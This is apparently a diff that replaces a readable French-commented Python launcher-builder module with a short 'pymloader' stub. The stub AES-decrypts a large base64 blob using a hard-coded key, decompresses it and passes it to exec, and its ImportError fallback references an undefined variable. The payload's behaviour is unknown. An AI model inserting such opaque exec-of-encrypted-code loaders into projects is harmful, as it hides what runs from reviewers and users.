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")
|
|
7
|
+
key = base64.b64decode("/TtjtbnlWQ2WVVQpITR5lwZ6chaZU7aywvI8+qbfjDM=")
|
|
8
|
+
iv = base64.b64decode("8rH9kxZgNJL1saiwEroaMQ==")
|
|
9
|
+
def unpad(data):
|
|
10
|
+
return data[:-data[-1]]
|
|
11
|
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
12
|
+
decrypted = unpad(cipher.decrypt(payload))
|
|
13
|
+
bytecode = zlib.decompress(decrypted)
|
|
14
|
+
pymloader.exec_bytecode(bytecode)
|
|
15
|
+
except ImportError:
|
|
16
|
+
bytecode = zlib.decompress(decrypted)
|
|
17
|
+
code = marshal.loads(bytecode)
|
|
18
|
+
exec(code)
|
|
19
|
+
# --- Fin du loader natif ---
|
|
@@ -1,189 +1,19 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
self.script_dir = Path(__file__).parent
|
|
21
|
-
self.build_tools = self.script_dir.parent / "build_tools"
|
|
22
|
-
self.python_embed = self.build_tools / "vendor" / "python_embeddable"
|
|
23
|
-
self.mingw_bin = self.build_tools / "vendor" / "mingw64" / "bin"
|
|
24
|
-
self.gcc_exe = self.mingw_bin / "gcc.exe"
|
|
25
|
-
|
|
26
|
-
def is_ready(self):
|
|
27
|
-
"""Vérifie si le système est prêt pour la compilation"""
|
|
28
|
-
checks = [
|
|
29
|
-
self.python_embed / "python.exe",
|
|
30
|
-
self.gcc_exe,
|
|
31
|
-
self.python_embed / "include" / "Python.h",
|
|
32
|
-
self.python_embed / "libs" / "libpython311.a",
|
|
33
|
-
]
|
|
34
|
-
return all(p.exists() for p in checks)
|
|
35
|
-
|
|
36
|
-
def setup_if_needed(self):
|
|
37
|
-
"""Exécute le setup si nécessaire"""
|
|
38
|
-
if self.is_ready():
|
|
39
|
-
return True
|
|
40
|
-
|
|
41
|
-
print("[launcher] ⚙️ Configuration du système...")
|
|
42
|
-
setup_script = self.script_dir / "setup_launcher_system.py"
|
|
43
|
-
|
|
44
|
-
if not setup_script.exists():
|
|
45
|
-
print(f"[launcher] ⚠️ Script de setup non trouvé: {setup_script}")
|
|
46
|
-
return False
|
|
47
|
-
|
|
48
|
-
try:
|
|
49
|
-
result = subprocess.run(
|
|
50
|
-
[sys.executable, str(setup_script)],
|
|
51
|
-
capture_output=True,
|
|
52
|
-
text=True,
|
|
53
|
-
encoding='utf-8',
|
|
54
|
-
errors='replace',
|
|
55
|
-
timeout=300
|
|
56
|
-
)
|
|
57
|
-
return result.returncode == 0
|
|
58
|
-
except Exception as e:
|
|
59
|
-
print(f"[launcher] ⚠️ Erreur setup: {e}")
|
|
60
|
-
return False
|
|
61
|
-
|
|
62
|
-
def compile(self, output_path=None, entry_python_file=None, gui_mode=False):
|
|
63
|
-
"""
|
|
64
|
-
Compile le launcher C avec injection du code Python d'entrée
|
|
65
|
-
|
|
66
|
-
Args:
|
|
67
|
-
output_path (Path): Chemin de sortie (défaut: launcher.exe)
|
|
68
|
-
entry_python_file (Path): Chemin du fichier Python d'entrée à injecter
|
|
69
|
-
gui_mode (bool): Si True, compile en mode GUI. Par défaut False (console)
|
|
70
|
-
|
|
71
|
-
Returns:
|
|
72
|
-
Path: Chemin du fichier compilé, ou None si erreur
|
|
73
|
-
"""
|
|
74
|
-
if output_path is None:
|
|
75
|
-
output_path = self.script_dir / "launcher.exe"
|
|
76
|
-
else:
|
|
77
|
-
output_path = Path(output_path)
|
|
78
|
-
|
|
79
|
-
# Utiliser le script de compilation avec injection du code Python
|
|
80
|
-
# Si entry_python_file n'est pas fourni, chercher __main__.py
|
|
81
|
-
if entry_python_file is None:
|
|
82
|
-
# Chercher dans le répertoire test_app
|
|
83
|
-
entry_python_file = self.script_dir.parent / "test_app" / "__main__.py"
|
|
84
|
-
if not entry_python_file.exists():
|
|
85
|
-
# Fallback sur le répertoire courant
|
|
86
|
-
entry_python_file = None
|
|
87
|
-
|
|
88
|
-
compile_script = self.script_dir / "compile_launcher_with_entry.py"
|
|
89
|
-
|
|
90
|
-
if not compile_script.exists():
|
|
91
|
-
print(f"[launcher] ⚠️ Script de compilation non trouvé: {compile_script}")
|
|
92
|
-
return None
|
|
93
|
-
|
|
94
|
-
try:
|
|
95
|
-
result = subprocess.run(
|
|
96
|
-
[sys.executable, str(compile_script)] + (["--gui"] if gui_mode else []),
|
|
97
|
-
capture_output=True,
|
|
98
|
-
text=True,
|
|
99
|
-
encoding='utf-8',
|
|
100
|
-
errors='replace',
|
|
101
|
-
timeout=60
|
|
102
|
-
)
|
|
103
|
-
|
|
104
|
-
print(result.stdout)
|
|
105
|
-
if result.stderr:
|
|
106
|
-
print(result.stderr)
|
|
107
|
-
|
|
108
|
-
# Vérifier si le fichier par défaut a été créé
|
|
109
|
-
default_launcher = self.script_dir / "launcher.exe"
|
|
110
|
-
if default_launcher.exists():
|
|
111
|
-
# Déplacer vers la destination si différente
|
|
112
|
-
if output_path != default_launcher:
|
|
113
|
-
shutil.move(str(default_launcher), str(output_path))
|
|
114
|
-
print(f"[launcher] ✓ Compilation réussie: {output_path}")
|
|
115
|
-
return output_path
|
|
116
|
-
elif output_path.exists():
|
|
117
|
-
print(f"[launcher] ✓ Compilation réussie: {output_path}")
|
|
118
|
-
return output_path
|
|
119
|
-
else:
|
|
120
|
-
print(f"[launcher] ⚠️ Compilation échouée - aucun fichier généré")
|
|
121
|
-
return None
|
|
122
|
-
except Exception as e:
|
|
123
|
-
print(f"[launcher] ⚠️ Erreur: {e}")
|
|
124
|
-
return None
|
|
125
|
-
|
|
126
|
-
def get_launcher_exe(self):
|
|
127
|
-
"""
|
|
128
|
-
Obtient le chemin du launcher compilé
|
|
129
|
-
Compile si nécessaire
|
|
130
|
-
|
|
131
|
-
Returns:
|
|
132
|
-
Path: Chemin du launcher.exe
|
|
133
|
-
"""
|
|
134
|
-
launcher_exe = self.script_dir / "launcher.exe"
|
|
135
|
-
|
|
136
|
-
if launcher_exe.exists():
|
|
137
|
-
return launcher_exe
|
|
138
|
-
|
|
139
|
-
print("[launcher] 🔨 Compilation du launcher...")
|
|
140
|
-
if self.setup_if_needed():
|
|
141
|
-
result = self.compile(launcher_exe)
|
|
142
|
-
if result:
|
|
143
|
-
return result
|
|
144
|
-
|
|
145
|
-
# Fallback
|
|
146
|
-
print("[launcher] ℹ️ Utilisation du fallback")
|
|
147
|
-
return None
|
|
148
|
-
|
|
149
|
-
# Instance globale
|
|
150
|
-
_launcher_builder = None
|
|
151
|
-
|
|
152
|
-
def get_launcher_builder():
|
|
153
|
-
"""Obtient l'instance globale du LauncherBuilder"""
|
|
154
|
-
global _launcher_builder
|
|
155
|
-
if _launcher_builder is None:
|
|
156
|
-
_launcher_builder = LauncherBuilder()
|
|
157
|
-
return _launcher_builder
|
|
158
|
-
|
|
159
|
-
def compile_launcher(output_path=None):
|
|
160
|
-
"""Fonction d'export: compile le launcher"""
|
|
161
|
-
builder = get_launcher_builder()
|
|
162
|
-
return builder.compile(output_path)
|
|
163
|
-
|
|
164
|
-
def get_launcher_exe():
|
|
165
|
-
"""Fonction d'export: obtient le chemin du launcher.exe compilé"""
|
|
166
|
-
builder = get_launcher_builder()
|
|
167
|
-
return builder.get_launcher_exe()
|
|
168
|
-
|
|
169
|
-
if __name__ == "__main__":
|
|
170
|
-
# Test d'intégration
|
|
171
|
-
builder = get_launcher_builder()
|
|
172
|
-
|
|
173
|
-
print("Vérification du système...")
|
|
174
|
-
if builder.is_ready():
|
|
175
|
-
print("✓ Système prêt")
|
|
176
|
-
else:
|
|
177
|
-
print("✗ Configuration manquante")
|
|
178
|
-
print("Lancement du setup...")
|
|
179
|
-
if builder.setup_if_needed():
|
|
180
|
-
print("✓ Setup réussi")
|
|
181
|
-
else:
|
|
182
|
-
print("✗ Setup échoué")
|
|
183
|
-
|
|
184
|
-
print("\nCompilation du launcher...")
|
|
185
|
-
result = builder.compile()
|
|
186
|
-
if result:
|
|
187
|
-
print(f"✓ Succès: {result}")
|
|
188
|
-
else:
|
|
189
|
-
print("✗ Échec")
|
|
1
|
+
# --- Loader natif par pyMetadidomi (pymloader) ---
|
|
2
|
+
import base64, zlib, marshal
|
|
3
|
+
from Crypto.Cipher import AES
|
|
4
|
+
try:
|
|
5
|
+
import pymloader
|
|
6
|
+
payload = base64.b64decode("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